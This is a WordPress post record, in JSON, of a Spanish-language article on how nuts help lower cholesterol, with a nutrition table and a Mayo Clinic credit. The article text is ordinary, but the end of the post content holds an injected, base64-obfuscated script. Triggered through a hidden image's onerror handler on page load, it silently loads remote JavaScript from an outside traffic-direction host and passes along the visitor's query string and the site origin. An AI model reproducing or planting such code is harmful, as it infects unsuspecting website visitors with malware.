{"id":6609,"date":"2023-04-10T10:42:25","date_gmt":"2023-04-10T13:42:25","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=6609"},"modified":"2025-08-13T16:02:30","modified_gmt":"2025-08-13T19:02:30","slug":"reducir-el-colesterol-consumiendo-frutos-secos","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=6609","title":{"rendered":"Reducir el colesterol consumiendo frutos secos"},"content":{"rendered":"\n<h4 class=\"has-white-color has-text-color has-background wp-block-heading\" style=\"background-color:#977109\"><strong><em>\u00bfSab\u00edas que los frutos secos pueden ayudarte a reducir el colesterol? Las nueces, las almendras y otros frutos secos pueden ayudarte a reducir el colesterol cuando los consumes como parte de una alimentaci\u00f3n equilibrada.<\/em><\/strong><\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">Comer frutos secos como parte de una alimentaci\u00f3n saludable puede ser bueno para tu coraz\u00f3n. Los frutos secos contienen \u00e1cidos grasos insaturados y otros nutrientes. Adem\u00e1s, son buenos como refrigerio, son f\u00e1ciles de almacenar y de empaquetar para llevar a cualquier lugar.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Una desventaja de los frutos secos es que algunos pueden tener un alto contenido de calor\u00edas, por lo que es importante limitar las porciones. Sin embargo, elegir los frutos secos en lugar de colaciones menos saludables puede ayudar a que sigas una dieta saludable para el coraz\u00f3n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfC\u00f3mo pueden las nueces ayudar al coraz\u00f3n?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Las investigaciones han demostrado que comer frutos secos de manera frecuente disminuye los niveles de inflamaci\u00f3n relacionada con la enfermedad card\u00edaca y la diabetes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Seguir una dieta saludable regular que incluya frutos secos puede contribuir a lo siguiente:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mejorar la salud de las arterias<\/li>\n\n\n\n<li>Disminuir la inflamaci\u00f3n relacionada con enfermedades card\u00edacas<\/li>\n\n\n\n<li>Disminuir el riesgo de co\u00e1gulos sangu\u00edneos, que pueden causar ataques card\u00edacos y accidentes cerebrovasculares<\/li>\n\n\n\n<li>Disminuir el riesgo de tener presi\u00f3n arterial alta<\/li>\n\n\n\n<li>Disminuir el riesgo de muerte prematura debido a una enfermedad card\u00edaca<\/li>\n\n\n\n<li>Reducir los niveles del colesterol no saludable, en particular el colesterol de las lipoprote\u00ednas de baja densidad (LDL, por sus siglas en ingl\u00e9s, o \u201cmalo\u201d) y los triglic\u00e9ridos, que pueden bloquear las arterias<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 causar\u00eda que los frutos secos sean saludables para el coraz\u00f3n?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Los frutos secos son una buena fuente de prote\u00ednas. La mayor\u00eda de los frutos secos contienen, al menos, algunas de estas sustancias saludables para el coraz\u00f3n:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Grasas insaturadas.<\/strong>&nbsp;No est\u00e1 del todo claro por qu\u00e9, pero se cree que las grasas \u201cbuenas\u201d de los frutos secos (tanto las monoinsaturadas como las poliinsaturadas) reducen los niveles de colesterol malo.<\/li>\n\n\n\n<li><strong>\u00c1cidos grasos omega-3.<\/strong>&nbsp;Muchos frutos secos son ricos en \u00e1cidos grasos omega-3. Los \u00e1cidos grasos omega-3 son saludables. Pueden reducir el riesgo de tener un ataque card\u00edaco o un accidente cerebrovascular.<\/li>\n\n\n\n<li><strong>Fibra.<\/strong>&nbsp;Todos los frutos secos contienen fibra, que ayuda a reducir el colesterol. La fibra tambi\u00e9n hace que te sientas lleno, y as\u00ed comes menos.<\/li>\n\n\n\n<li><strong>Esteroles vegetales.<\/strong>&nbsp;Algunos frutos secos contienen esteroles vegetales, una sustancia que puede ayudar a reducir el colesterol. Los esteroles vegetales con frecuencia se a\u00f1aden a productos tales como la margarina y el jugo de naranja para obtener beneficios de salud adicionales, pero se encuentran en los frutos secos de forma natural.<\/li>\n\n\n\n<li><strong>L-arginina.<\/strong>&nbsp;Los frutos secos tambi\u00e9n son una buena fuente de L-arginina. Algunas investigaciones se\u00f1alan que la L-arginina puede reducir la presi\u00f3n arterial, y mejorar el colesterol y la salud general de los vasos sangu\u00edneos.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 es una porci\u00f3n saludable de nueces?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Los frutos secos contienen grasa. Si bien la mayor parte se trata de grasa saludable, las calor\u00edas aun as\u00ed se suman. Por eso, debes comer frutos secos con moderaci\u00f3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Los adultos deben procurar comer aproximadamente de 4&nbsp;a 6&nbsp;porciones de frutos secos sin sal por semana como parte de una alimentaci\u00f3n saludable. En el caso de los ni\u00f1os, las recomendaciones en torno a las porciones var\u00edan seg\u00fan la edad. Preg\u00fantale al pediatra cu\u00e1ntas porciones de frutos secos son las indicadas para tu hijo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Elige frutos secos crudos o tostados en seco, en lugar de frutos secos cocidos en aceite. Una porci\u00f3n es un pu\u00f1ado peque\u00f1o (1,5&nbsp;onzas o 43&nbsp;gramos) de frutos secos enteros o 2&nbsp;cucharadas de mantequilla de frutos secos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfImporta qu\u00e9 tipo de fruto seco comes?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Por lo general, la mayor\u00eda de los frutos secos parecen ser saludables. Sin embargo, algunos pueden tener m\u00e1s nutrientes saludables para el coraz\u00f3n que otros. Por ejemplo, las nueces contienen altas cantidades de \u00e1cidos grasos omega-3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Las almendras, las nueces de macadamia, las avellanas y las nueces pecanas tambi\u00e9n parecen ser bastante saludables para el coraz\u00f3n. Tambi\u00e9n lo son los man\u00edes (que t\u00e9cnicamente no son frutos secos, sino legumbres, como los frijoles).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Lo mejor es elegir frutos secos sin sal y sin az\u00facar. A\u00f1adir sal o az\u00facar a los frutos secos puede anular los beneficios saludables para el coraz\u00f3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A continuaci\u00f3n, incluimos informaci\u00f3n nutricional sobre los tipos comunes de frutos secos. Todas las mediciones del contenido de calor\u00edas y grasa se refieren a 1&nbsp;onza, es decir, 28,4&nbsp;gramos (g), de nueces sin sal.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Tipo de fruto seco | Calor\u00edas | Grasa total<\/strong><\/li>\n\n\n\n<li>Almendras crudas | 164 | 14,2 g<\/li>\n\n\n\n<li>Nueces del Brasil crudas | 187 | 19 g<\/li>\n\n\n\n<li>Mara\u00f1ones tostados en seco | 163 | 13,1 g<\/li>\n\n\n\n<li>Casta\u00f1as asadas | 70 | 0,6 g<\/li>\n\n\n\n<li>Avellanas tostadas en seco | 183 | 17,7 g<\/li>\n\n\n\n<li>Avellanas crudas | 178 | 17,2 g<\/li>\n\n\n\n<li>Nueces de macadamia tostadas en seco | 204 | 21,6 g<\/li>\n\n\n\n<li>Nueces de macadamia crudas | 204 | 21,5 g<\/li>\n\n\n\n<li>Man\u00edes tostados en seco | 166 | 14,1 g<\/li>\n\n\n\n<li>Nueces pecanas tostadas en seco | 201 | 21,1 g<\/li>\n\n\n\n<li>Pistachos tostados en seco | 162 | 13 g<\/li>\n\n\n\n<li>Nueces cortadas en mitades | 185 | 18,5 g<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 sucede con los aceites de frutos secos? \u00bfTambi\u00e9n son saludables?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Los aceites de frutos secos tambi\u00e9n son una buena fuente de nutrientes saludables, pero carecen de la fibra que se encuentra en los frutos secos enteros. El aceite de nuez es el que tiene mayor cantidad de omega-3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Considera la posibilidad de utilizar aceites de frutos secos en el aderezo casero para ensaladas o en la cocina. Cuando cocines con aceites de frutos secos, recuerda que responden de manera diferente al calor que los aceites vegetales y que pueden volverse amargos si se calientan demasiado. \u00dasalos con mesura, ya que son altos en grasas y en calor\u00edas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Fuente: Mayo Clinic<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/saludybienestar.com.ar\/reducir-el-colesterol-consumiendo-frutos-secos\/\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/saludybienestar.com.ar\/wp-content\/uploads\/2021\/09\/logo-Salud-y-Bienestar_horizontal.png\" alt=\"\" width=\"189\" height=\"58\" \/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00bfSab\u00edas que los frutos secos pueden ayudarte a reducir el colesterol? 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